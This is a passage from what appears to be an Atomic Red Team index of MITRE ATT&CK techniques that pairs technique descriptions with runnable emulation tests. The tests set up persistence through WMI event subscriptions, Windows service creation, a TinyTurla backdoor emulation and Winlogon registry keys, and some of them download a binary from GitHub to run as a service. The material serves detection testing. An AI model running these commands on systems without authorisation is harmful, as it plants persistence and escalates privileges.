        Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)

        Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'WMI: WMI Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1546.003
    atomic_tests:
    - name: Persistence via WMI Event Subscription
      auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

        https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                          CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
          $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = [Ref] $Filter;
          Consumer = [Ref] $Consumer;
          }
          $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
  T1543.003:
    technique:
      created: '2020-01-17T19:13:50.402Z'
      modified: '2020-09-16T15:49:58.490Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1543.003
        url: https://attack.mitre.org/techniques/T1543/003
      - external_id: CAPEC-478
        source_name: capec
        url: https://capec.mitre.org/data/definitions/478.html
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        source_name: TechNet Services
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
          was installed in the system. Retrieved August 7, 2018.'
        source_name: Microsoft 4697 APR 2017
      - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
          to help with intrusion detection. Retrieved August 7, 2018.
        source_name: Microsoft Windows Event Forwarding FEB 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows Service
      description: "Adversaries may create or modify Windows services to repeatedly
        execute malicious payloads as part of persistence. When Windows boots up,
        it starts programs or applications called services that perform background
        system functions.(Citation: TechNet Services) Windows service configuration
        information, including the file path to the service's executable or recovery
        programs/commands, is stored in the Windows Registry. Service configurations
        can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
        \n\nAdversaries may install a new service or modify an existing service by
        using system utilities to interact with services, by directly modifying the
        Registry, or by using custom tools to interact with the Windows API. Adversaries
        may configure services to execute at startup in order to persist on a system.\n\nAn
        adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036)
        by using a service name from a related operating system or benign software,
        or by modifying existing services to make detection analysis more challenging.
        Modifying existing services may interrupt their functionality or may enable
        services that are disabled or otherwise not commonly used. \n\nServices may
        be created with administrator privileges but are executed under SYSTEM privileges,
        so an adversary may also use a service to escalate privileges from administrator
        to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). "
      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Travis Smith, Tripwire
      - Pedro Harrison
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor processes and command-line arguments for actions
        that could create or modify services. Command-line invocation of tools capable
        of adding or modifying services may be unusual, depending on how systems are
        typically used in a particular environment. Services may also be modified
        through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data. Remote access
        tools with built-in features may also interact directly with the Windows API
        to perform these functions outside of typical system utilities. Collect service
        utility execution and service binary path arguments used for analysis. Service
        binary paths may even be changed to execute commands or scripts.  \n\nLook
        for changes to service Registry entries that do not correlate with known software,
        patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        Changes to the binary path and the service startup type changed from manual
        or disabled to automatic, if it does not typically do so, may be suspicious.
        Tools such as Sysinternals Autoruns may also be used to detect system service
        changes that could be attempts at persistence.(Citation: TechNet Autoruns)
        \ \n\nCreation of new services may generate an alterable event (ex: Event
        ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft
        Windows Event Forwarding FEB 2018)). New, benign services may be created during
        installation of new software.\n\nSuspicious program execution through services
        may show up as outlier processes that have not been seen before when compared
        against historical data. Look for abnormal process call trees from known services
        and for execution of other commands that could relate to Discovery or other
        adversary techniques. Data and events should not be viewed in isolation, but
        as part of a chain of behavior that could lead to other activities, such as
        network connections made for Command and Control, learning details about the
        environment through Discovery, and Lateral Movement."
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1543.003
    atomic_tests:
    - name: Modify Fax service to run PowerShell
      auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f
      description: |
        This test will temporarily modify the service Fax by changing the binPath to PowerShell
        and will then revert the binPath change, restoring Fax to its original state.
        Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
          sc start Fax
        cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
          2>&1
    - name: Service Installation CMD
      auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
      description: |
        Download an executable from github and start it as a service.
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: Path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: String
          default: AtomicTestService_CMD
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

'
        prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe create #{service_name} binPath= #{binary_path}
          sc.exe start #{service_name}
        cleanup_command: |
          sc.exe stop #{service_name} >nul 2>&1
          sc.exe delete #{service_name} >nul 2>&1
    - name: Service Installation PowerShell
      auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77
      description: |
        Installs A Local Service via PowerShell.
        Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: Path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: String
          default: AtomicTestService_PowerShell
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

'
        prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
          Start-Service -Name "#{service_name}"
        cleanup_command: |
          Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
          try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
          catch {}
    - name: TinyTurla backdoor service w64time
      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
      description: |
        It's running Dll as service to emulate the tine turla backdoor

        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
      supported_platforms:
      - windows
      input_arguments:
        dllfilename:
          description: It specifies Dll file to run as service
          type: string
          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
      executor:
        command: |-
          copy #{dllfilename} %systemroot%\system32\
          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
          sc config W64Time DisplayName= "Windows 64 Time"
          sc description W64Time "Maintain date and time synch on all clients and services in the network"
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
          sc start W64Time
        cleanup_command: |-
          sc stop W64Time
          sc.exe delete W64Time
          del %systemroot%\system32\w64time.dll
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
        name: command_prompt
        elevation_required: true
  T1547.004:
    technique:
      created: '2020-01-24T16:59:59.688Z'
      modified: '2020-04-21T16:00:41.277Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
      description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
        executables when a user logs in. Winlogon.exe is a Windows component responsible
        for actions at logon/logoff as well as the secure attention sequence (SAS)
        triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper
        programs and functionalities that support Winlogon. (Citation: Cylance Reg
        Persistence Sept 2013) \n\nMalicious modifications to these Registry keys
        may cause Winlogon to load and execute malicious DLLs and/or executables.
        Specifically, the following subkeys have been known to be possibly vulnerable
        to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify
        - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit
        - points to userinit.exe, the user initialization program executed when a
        user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
        executed when a user logs on\n\nAdversaries may take advantage of these features
        to repeatedly execute malicious code and establish persistence."
      name: Winlogon Helper DLL
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.004
        url: https://attack.mitre.org/techniques/T1547/004
      - external_id: CAPEC-579
        source_name: capec
        url: https://capec.mitre.org/data/definitions/579.html
      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        source_name: Cylance Reg Persistence Sept 2013
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

        Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.004
    atomic_tests:
    - name: Winlogon Shell Key Persistence - PowerShell
      auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

'
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

'
        name: powershell
    - name: Winlogon Userinit Key Persistence - PowerShell
      auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

'
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

'
        name: powershell
    - name: Winlogon Notify Key Logon Persistence - PowerShell
      auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9
      description: |
        PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

        Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of notification package to execute
          type: Path
          default: C:\Windows\Temp\atomicNotificationPackage.dll
      executor:
        command: |
          New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
        cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          -Force -ErrorAction Ignore

'
        name: powershell
  T1547.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.013
        url: https://attack.mitre.org/techniques/T1547/013
      - description: Free Desktop. (2006, February 13). Desktop Application Autostart
          Specification. Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
        source_name: Free Desktop Application Autostart Feb 2006
      - description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
          Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
        source_name: Free Desktop Entry Keys
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: XDG Autostart Entries
      description: |-
        Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)

        Within an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)

        Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T15:55:10.103Z'
      created: '2019-09-10T18:13:12.195Z'
      x_mitre_is_subtechnique: true
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
        file creation and modification events within the <code>/etc/xdg/autostart</code>
        and <code>~/.config/autostart</code> directories. Depending on individual
        configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code>
        or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries.
        Autostart entry files not associated with legitimate packages may be considered
        suspicious. Suspicious entries can also be identified by comparing entries
        to a trusted system baseline.\n \nSuspicious processes or scripts spawned
        in this manner will have a parent process of the desktop component implementing
        the XDG specification and will execute as the logged on user."
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_platforms:
      - Linux
    atomic_tests: []
defense-evasion:
  T1548:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548
        url: https://attack.mitre.org/techniques/T1548
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Abuse Elevation Control Mechanism
      description: Adversaries may circumvent mechanisms designed to control elevate
        privileges to gain higher-level permissions. Most modern systems contain native
        elevation control mechanisms that are intended to limit privileges that a
        user can perform on a machine. Authorization has to be granted to specific
        users in order to perform tasks that can be considered of higher risk. An
        adversary can perform several methods to take advantage of built-in control
        mechanisms in order to escalate privileges on a system.
      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-07-22T21:36:52.825Z'
      created: '2020-01-30T13:58:14.373Z'
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

        Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

        On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.

        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1134:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1134
        url: https://attack.mitre.org/techniques/T1134
      - external_id: CAPEC-633
        source_name: capec
        url: https://capec.mitre.org/data/definitions/633.html
      - url: https://pentestlab.blog/2017/04/03/token-manipulation/
        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
          21, 2017.
        source_name: Pentestlab Token Manipulation
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft LogonUser
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft DuplicateTokenEx
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft ImpersonateLoggedOnUser
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
        source_name: BlackHat Atkinson Winchester Token Manipulation
      description: |-
        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
      name: Access Token Manipulation
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-24T13:40:52.952Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      - Heuristic Detection
      - Host forensic analysis
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.0'
      x_mitre_contributors:
      - Tom Ueltschi @c_APT_ure
      - Travis Smith, Tripwire
      - Robby Winchester, @robwinchester3
      - Jared Atkinson, @jaredcatkinson
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_detection: "If an adversary is using a standard command-line shell,
        analysts can detect token manipulation by auditing command-line activity.
        Specifically, analysts should look for use of the <code>runas</code> command.
        Detailed command-line logging is not enabled by default in Windows.(Citation:
        Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
        calls the Windows token APIs directly, analysts can detect token manipulation
        only through careful analysis of user network activity, examination of running
        processes, and correlation with other endpoint and network behavior. \n\nThere
        are many Windows API calls a payload can take advantage of to manipulate access
        tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation:
        Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation:
        Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
        pages for more information.\n\nQuery systems for process and thread token
        information and look for inconsistencies such as user owns processes impersonating
        the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook
        for inconsistencies between the various fields that store PPID information,
        such as the EventHeader ProcessId from data collected via Event Tracing for
        Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID
        and ParentProcessID (which are also produced from ETW and other utilities
        such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
        identifies the actual parent process."
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1550.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.001
        url: https://attack.mitre.org/techniques/T1550/001
      - external_id: CAPEC-593
        source_name: capec
        url: https://capec.mitre.org/data/definitions/593.html
      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
      - description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
          September 12, 2019.
        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
        source_name: okta
      - description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
          Microsoft identity platform access tokens. Retrieved October 4, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
        source_name: Microsoft Identity Platform Access 2019
      - description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
          Retrieved October 4, 2019.
        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
        source_name: Staaldraad Phishing with OAuth 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Access Token
      description: |-
